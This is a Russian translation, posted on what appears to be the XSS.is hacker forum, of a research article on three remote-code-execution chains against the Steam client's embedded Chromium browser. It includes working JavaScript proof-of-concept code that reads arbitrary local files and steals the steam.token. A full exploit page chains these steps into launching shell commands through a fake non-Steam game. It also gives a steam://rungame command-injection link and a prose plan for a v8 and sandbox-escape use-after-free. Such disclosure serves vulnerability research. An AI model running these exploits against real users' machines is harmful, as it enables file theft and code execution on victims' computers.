• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатация Steam: Обычные и необычные способы в рамках CEF

ordinaria1

(L1) cache
Забанен
Регистрация
14.04.2019
Сообщения
832
Решения
2
Реакции
870
Гарант сделки
4
Депозит
5 Ł
Пожалуйста, обратите внимание, что пользователь заблокирован

Введение​

Chromium Embedded Framework (CEF) — это открытый фреймворк, позволяющий разработчикам встраивать движок Chromium в свои приложения. Хотя CEF широко используется в ряде популярных программ, включая WeChat и Epic Games Launcher, исследований его безопасности проводилось мало. В этой статье мы рассмотрим браузер клиента Steam (приложение на базе CEF) в качестве примера, чтобы представить обнаруженные уязвимости и то, как мы использовали их для создания трех цепочек удаленного выполнения кода (RCE).

RCE#1: Множественные проблемы в steamwebhelper, приводящие к RCE​

steamwebhelper — это встроенный браузер в клиенте Steam, используемый для отображения таких страниц, как магазин, сообщество и друзья. Он разработан на основе CEF с добавлением некоторых дополнительных функций. Обнаружены ряд логических уязвимостей и проблем, вызванных этими дополнительными функциями, которые в конечном итоге приводят к RCE.

Получение объекта SteamClient на внешних страницах​

Когда steamwebhelper загружает определенные страницы, такие как steampowered.com и steamloopback.host, он внедряет привилегированный объект SteamClient в JavaScript-окружение. При реверсе этого процесса обнаружено, что для URL-адресов с доменным именем steamwebhelper вызывает функцию BIsTrustedDomain, чтобы проверить, находится ли домен в белом списке. Для URL-адресов без доменного имени проверяется, является ли домен протоколом data или about.

1719692941704.png


Загрузка домена из белого списка с внешней страницы будет ограничена политикой одного источника (same-origin policy), однако загрузка страниц типа about:blank такому ограничению не подлежит. Таким образом, мы можем открыть "about:blank" на нашей собственной контролируемой странице, получить и использовать её объект SteamClient.

PoC:​

JavaScript:
ab_page = open("about:blank");
s_client = ab_page.SteamClient;
alert(s_client);

Загрузка файлового протокола с использованием BrowserView

SteamClient — это привилегированный объект, используемый внутренними страницами Steam, который обладает множеством привилегированных функций, таких как управление текущим объектом браузера, управление положением окна, загрузка любых файлов и т.д.

1719692926103.png


С помощью SteamClient.BrowserView мы сможем создавать и управлять объектами BrowserView. Тестирование показало, что BrowserView представляет собой подстраницу, встроенную в исходную веб-страницу, аналогично iframe в обычной вебстранице, но взаимодействие с этим объектом реализовано самим Steam.

1719692917987.png


При тестировании функциональности BrowserView было обнаружено, что вызовы BrowserView.LoadURL не ограничены какими-либо политиками безопасности и могут загружать URL-адреса с любым протоколом или доменом, включая высокопривилегированные протоколы, такие как chrome:// и file://.

PoC:​

JavaScript:
b_view = s_client.BrowserView.Create();
b_view.LoadURL("file:///etc/passwd");
b_view.SetBounds(0, 0, 1000, 1000);
b_view.SetVisible(true);

Доступ к содержимому страниц, загруженных в BrowserView, для чтения произвольных файлов​


На данном этапе мы можем использовать LoadURL для загрузки любого локального файла, но всё еще не можем напрямую читать содержимое страницы. Тестируя и проведя реверс объекта BrowserView, мы обнаружили его функцию FindInPage, которая может искать определенные строки на странице, а с помощью BrowserView.on("find-in-page-results", callback) мы можем зарегистрировать функцию обратного вызова для обработки результатов поиска. Вопрос теперь в следующем: если мы можем искать контролируемую строку на странице и получать результаты поиска, можем ли мы получить доступ к содержимому страницы? (Звучит как задача из CTF)

Ответ утвердительный. Путем перебора байт за байтом мы в конечном итоге можем добиться эффекта чтения произвольных файлов.

PoC (Получение имен пользователей путем чтения file:///home/):​

JavaScript:
async function is_str_in_bv(bv, s, count) {
  window.stage = 0;
  bv.FindInPage(s, true, true);
  while (window.stage < 3) { await sleep(10); }
  return window.count > count;
}

b_view.on("find-in-page-results", (a, b) => {
  if (window.stage == 0) {
    if (a == 0 && b == 0) { window.stage = 3; window.count = 0; }
    else window.stage++;
  }
  else if (window.stage++ == 2) window.count = a;
});
baseuser = "/";
charset = "abcdefghijklmnopqrstuvwxyz";
while (true) {
  found = false;
  for (c of charset) {
    teststr = c + baseuser;
    count = 0;
    if ("home/".endsWith(teststr)) count = 1;
    if (await is_str_in_bv(b_view, teststr, count)) {
      found = true;
      break;
    };
  }
  if (!found) break;
  baseuser = teststr;
}
alert(baseuser);

От произвольного чтения файлов к произвольному созданию файлов​

В этом отчете об уязвимости упоминается, что произвольное создание файлов (с неконтролируемым содержимым) может быть достигнуто через функции list-shortcuts и другие функции steam://devkit-1. Исправление этой уязвимости заключалось в генерации случайной строки в файле ~/.steam/steam.token и проверке этого токена при использовании функций, связанных с steam://devkit-1.
На самом деле, этот метод не устраняет логическую ошибку в данной функциональности. Если атакующий может прочитать токен, он может легко обойти это исправление.

На данном этапе мы можем использовать возможность произвольного чтения файлов для получения содержимого токена, тем самым используя эту функциональность для создания произвольных файлов.

Однако, как бы идеально это ни звучало, при открытии URL-адреса steam:// из steamwebhelper происходит проверка, и только функции из белого списка могут быть напрямую открыты из встроенного браузера. devkit-1 среди них нет.

1719692893069.png


В ходе исследования было обнаружено, что steam://openexternalforpid/, находящийся в белом списке, анализирует свой внутренний URL-адрес и загружает его. Открывая steam://openexternalforpid/1/steam://devkit-1/, мы можем обойти проверку белого списка, тем самым достигая возможности произвольного создания файлов.

PoC:​


JavaScript:
open("steam://openexternalforpid/1/steam://devkit-1/" + token + "/list-shortcuts?response=/tmp/hacked");

От произвольного создания файлов к RCE​

Среди множества функций, предоставляемых URL-адресами steam://, steam://AddNonSteamGame кажется весьма интересной. Как следует из названия, она позволяет добавлять предоставленную пользователем строку в качестве игры, не относящейся к Steam, в библиотеку игр Steam. Клиент Steam выполняет игры, не относящиеся к Steam, как shell-скрипты, поэтому мы можем вставить обратные кавычки в строку, чтобы создать игру, выполняющую произвольные команды. Для использования этой функции сначала необходимо создать файл /tmp/addnonsteamgamefile. Клиент Steam проверяет наличие этого файла и пытается прочитать из него идентификатор игры gameid. Если он считывает недействительный gameid, то генерирует его случайным образом, то есть содержимое файла не влияет на функциональность.

По счастливому совпадению, наша предыдущая возможность создавать произвольные файлы идеально соответствует этому требованию, позволяя нам добавлять любую пользовательскую игру.

При попытке активировать это, было обнаружено, что steam://openexternalforpid преобразует доменные имена в открываемых URL-адресах в нижний регистр. Например, steam://openexternalforpid/1/steam://AddNonSteamGame/ будет изменено на steam://addnonsteamgame/, что мешает Steam правильно распознать его.

1719692841452.png


После различных попыток найден обходной путь, а именно, использование дополнительного слоя steam://open:

1719692823018.png


На этом этапе мы наконец можем создавать вредоносные игры. Однако для запуска игры нам нужно знать её gameid, а мы не знаем этого случайно сгенерированного 64-битного числа. Это не является большой проблемой для нас, т.к. мы уже можем читать любой файл. Прочитав ~/.local/share/Steam/logs/console_log.txt, мы можем найти идентификатор приложения (App id) недавно созданной вредоносной игры.

Код:
[2023-11-21 04:11:53] ExecuteSteamURL: "steam://open/steam://AddNonSteamGame/%60gnome-calculator%60"
[2023-11-21 04:11:53] ExecuteSteamURL: "steam://AddNonSteamGame/%60gnome-calculator%60"
[2023-11-21 04:11:53] GLibLog: domain:Gtk  msg:gtk_disable_setlocale() must be called before gtk_init()
[2023-11-21 04:11:53] sanitize shortcut app id "`gnome-calculator`": replacing 0 with 3843969204, reason: k_unAppIdInvalid

Финальный gameid может быть вычислен из App id, найденного в логе. Gameid равен app_id << 32 | 0x2000000. Как только мы узнаем gameid, мы можем использовать steam://rungameid для запуска нашей "игры".

1719693119207.png


Полный код эксплуатации из GitHub:

HTML:
<html>

<body>
  <script>
    function sleep(ms) {
      return new Promise(resolve => setTimeout(resolve, ms));
    }

    function log(msg) {
      document.getElementById("log").innerHTML += msg + "<br>";
    }

    async function main() {
      const SEARCH_TO_LEFT = 1;
      const SEARCH_TO_RIGHT = 2;
      const SEARCH_TO_BOTH = SEARCH_TO_LEFT | SEARCH_TO_RIGHT;
      const alpha_chars = "abcdefghijklmnopqrstuvwxyz";
      const hex_chars = "0123456789abcdef";
      const number_chars = "0123456789";

      async function is_str_in_bv(bv, s, count) {
        window.stage = 0;
        bv.FindInPage(s, true, true);
        while (window.stage < 3) { await sleep(10); }
        return window.count > count;
      }

      async function search_content(bv, base, charset, conflit, search_direction) {
        if (!search_direction) return;
        if (!base && search_direction != SEARCH_TO_BOTH) return;
        if (search_direction & SEARCH_TO_LEFT) {
          while (true) {
            found = false;
            for (c of charset) {
              teststr = c + base;
              count = conflit.length ? conflit.map((s) => { return s.search(teststr) == -1 ? 0 : 1; }).reduce((a, b) => { return a + b; }) : 0;
              if (await is_str_in_bv(bv, teststr, count)) {
                found = true;
                break;
              };
            }
            if (!found) break;
            base = teststr;
          }
        }

        if (search_direction & SEARCH_TO_RIGHT) {
          while (true) {
            found = false;
            for (c of charset) {
              teststr = base + c;
              count = conflit.length ? conflit.map((s) => { return s.search(teststr) == -1 ? 0 : 1; }).reduce((a, b) => { return a + b; }) : 0;
              if (await is_str_in_bv(bv, teststr, count)) {
                found = true;
                break;
              };
            }
            if (!found) break;
            base = teststr;
          }
        }
        return base;
      }

      ab_page = open("about:blank");
      s_client = ab_page.SteamClient;
      b_view = s_client.BrowserView.Create();
      b_view.LoadURL("file:///home/");
      await sleep(500);
      b_view.on("find-in-page-results", (a, b) => {
        if (window.stage == 0) {
          if (a == 0 && b == 0) { window.stage = 3; window.count = 0; }
          else window.stage++;
        }
        else if (window.stage++ == 2) window.count = a;
      });
      username = await search_content(b_view, "/", alpha_chars, ["home/"], SEARCH_TO_LEFT);
      log("username: " + username);

      b_view.LoadURL("file:///home/" + username + ".steam/steam.token");
      await sleep(500);
      token = await search_content(b_view, "", hex_chars, [], SEARCH_TO_BOTH);
      log("token: " + token);

      open("steam://openexternalforpid/1/steam://devkit-1/" + token + "/list-shortcuts?response=/tmp/addnonsteamgamefile");
      game_name = "`gnome-calculator`";
      open("steam://openexternalforpid/1/steam://open/steam://AddNonSteamGame/" + game_name);
      await sleep(500);

      b_view.LoadURL("file:///home/" + username + ".local/share/Steam/logs/console_log.txt");
      await sleep(500);
      gameid = game_name + "\": replacing 0 with ";
      init_id = gameid;
      gameid = await search_content(b_view, gameid, number_chars, [], SEARCH_TO_RIGHT);
      gameid = gameid.substring(init_id.length);
      log("gameid: " + gameid);
      gameid = (BigInt(gameid) << 32n) + 0x2000000n;
      gameid = gameid.toString();
      open("steam://openexternalforpid/1/steam://rungameid/" + gameid);

      s_client.BrowserView.Destroy(b_view);
      ab_page.close();
    }

    main();
  </script>

  <p id="log"></p>
</body>

</html>

RCE#2: Внедрение команд в steam://rungame

steam://rungame - это функция URL-схемы, предоставляемая Steam, которая может использоваться для запуска игр и указания их аргументов командной строки. При открытии в Linux-клиенте она выполняет следующую команду:

Bash:
/bin/sh -c /home/bob/.local/share/Steam/ubuntu12_32/reaper SteamLaunch AppId={appid} -- /home/bob/.local/share/Steam/ubuntu12_32/steam-launch-wrapper -- {gamepath} {argument}

Поскольку она выполняется через /bin/sh -c, существует возможность внедрения команд. Мы попытались добавить ls в аргументы командной строки и обнаружили, что оно превращается в '`ls`' . Из-за обратных кавычек, обернутых в одинарные кавычки, прямое внедрение команд невозможно.

Затем мы попробовали добавить одинарные кавычки в аргументы командной строки, чтобы нарушить парность одинарных кавычек, но обнаружили, что одинарные кавычки просто исчезают.

Итак, мы проанализировали логику steam://rungame и выполнили простой анализ реверса, обнаружив, что его шаги примерно следующие:
  1. Вызов V_ParseShellCommandLine, где фильтруются одиночные ', а \' заменяется на '
  2. Вызов V_EscapeShellArgumentAndAppend для обертывания аргумента одинарными кавычками и замены ' в аргументе на '\''
  3. Замена \ на \\
  4. Объединение в командную строку для выполнения
Очевидно, что на третьем шаге все \ рассматриваются как обычные символы. Для корректной обработки /bin/sh добавляется дополнительный \ в качестве экранирующего символа, но не учитывается возможность самого \ быть экранирующим символом. Если мы установим наш ввод как \'`gnome-calculator`\', после вышеуказанных четырех шагов он станет: ''\\''`gnome-calculator`'\\'''.
Очевидно, что замена \ на \\ нарушает правильное сопоставление одинарных кавычек, в результате чего gnome-calculator оказывается вне одинарных кавычек, что приводит к проблеме внедрения команд.

В конце концов, чтобы сгенерировать URL, который может быть корректно обработан steam://rungame, \ нужно URL-кодировать.

Окончательный PoC:​

HTML:
<a href="steam://rungame/262410/76561202255233023/%5c'`gnome-calculator`%5c'">POPUP gnome-calculator</a>

В этом PoC 262410 - это App id для "World of Guns: Gun Disassembly", и его можно заменить на любую установленную игру, которая обрабатывает аргументы командной строки (большинство игр поддерживает это).

RCE#3: Исторические уязвимости в Chrome​

Встроенный браузер в Steam разработан на основе Chromium Embedded Framework (CEF) версии 85.0.4183.121. CEF - это фреймворк, используемый для встраивания Chromium в приложения, синхронизированный с номером версии Chromium. Версия Chromium 85.0.4183.121 была выпущена в сентябре 2020 года, и с тех пор было обнаружено множество исторических уязвимостей, но почти все они не были исправлены Steam.

Была выбрана уязвимость v8 (Issue 1234764) и уязвимость выхода из песочницы (Issue 1251727) для достижения RCE.

Первая - это ошибка оптимизации Right Operand Rotating, позволяющая произвольное чтение и запись адресов в процессе рендеринга. Детали эксплуатации этой уязвимости подробно объяснены в приложении к отчету о уязвимости и здесь повторяться не будут.

Вторая - это логическая уязвимость. Для типов фреймов kPortal и kFencedframe, созданных через CreateChildFrame, вызываемый Mojo, их состояние никогда не меняется на kCreated.
Из-за этого, их деструкторы не вызывают WebContentsObserver::RenderFrameDeleted для уведомления объектов, содержащих сырой указатель RenderFrameHostImpl, что приводит к UAF.
Эта уязвимость отличного качества, так как действия освобождения и использования могут быть вызваны в любое время, а последующая эксплуатация может использовать любой интерфейс Mojo под RenderFrameHostImpl. Однако, поскольку оригинальный PoC в отчете о уязвимости вызывает ошибку через патч исходного кода, для этого эффекта потребуется патчинг бинарного файла, чтобы добавить шеллкод для отправки сообщений Mojo.

В процессе разработки эксплойта, чтобы уменьшить рабочую нагрузку, мы стремились внести минимальные изменения в двоичный код, предпочитая писать эксплойт на JavaScript. Однако мы обнаружили, что фреймы типа kPortal не могут загружать HTML-документы путем указания src, следовательно, не представлялось возможным выполнять JavaScript в этих фреймах. Одним из вариантов было внести изменения и использовать функцию RenderFrameImpl::ExecuteJavaScript для выполнения JavaScript. Затем, как предложил Тим Беккер в статье Cleanly Escaping the Chrome Sandbox, получилось использовать общий подход к отправке обработчика Mojo из фрейма портала в основной фрейм для эксплуатации.

Однако этот метод все еще требовал изменений. Здесь мы предлагаем новую технику эксплуатации, которая позволяет фрейму портала, не способному выполнять JavaScript, отправлять сообщения Mojo без необходимости внесения изменений, при условии наличия произвольного доступа к чтению и записи в рендере.

Исследования показали, что при отправке сообщений Mojo фактическая маршрутизация и обработка управляются полем mojo::Remote internal_state_.proxy_. Мы могли использовать уязвимость v8, чтобы прочитать адрес RenderFrameImpl портала из g_frame_map и манипулировать им, чтобы «украсть» член proxy_ и передать его другому iframe под нашим контролем. Это позволит нам использовать управляемый iframe для маскировки под портал и отправки сообщений Mojo с помощью JavaScript.

1719693031922.png


Общая стратегия эксплуатации выглядит следующим образом:
  1. Использовать уязвимость v8 для включения Mojo JS
  2. Создать iframe A и перехватить его таблицу виртуальных функций (vtable) с помощью уязвимости v8, изменив его OwnerType, чтобы он притворялся портальным фреймом
  3. Создать другой iframe B для последующего выполнения JavaScript
  4. Использовать уязвимость v8 для чтения адресов RenderFrameImpl для A и B из g_frame_map
  5. Использовать уязвимость v8 для присвоения proxy_ фрейма A фрейму B
  6. Использовать B для создания соединения Mojo
  7. Удалить A, вызывая уничтожение RenderFrameHostImpl
  8. Использовать B для запуска UAF
  9. Использовать Blob для заполнителя, контроля таблицы виртуальных функций и других последующих эксплуатаций.
Переведено специально для XSS.is
Автор перевода: ordinaria1
Источник: www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх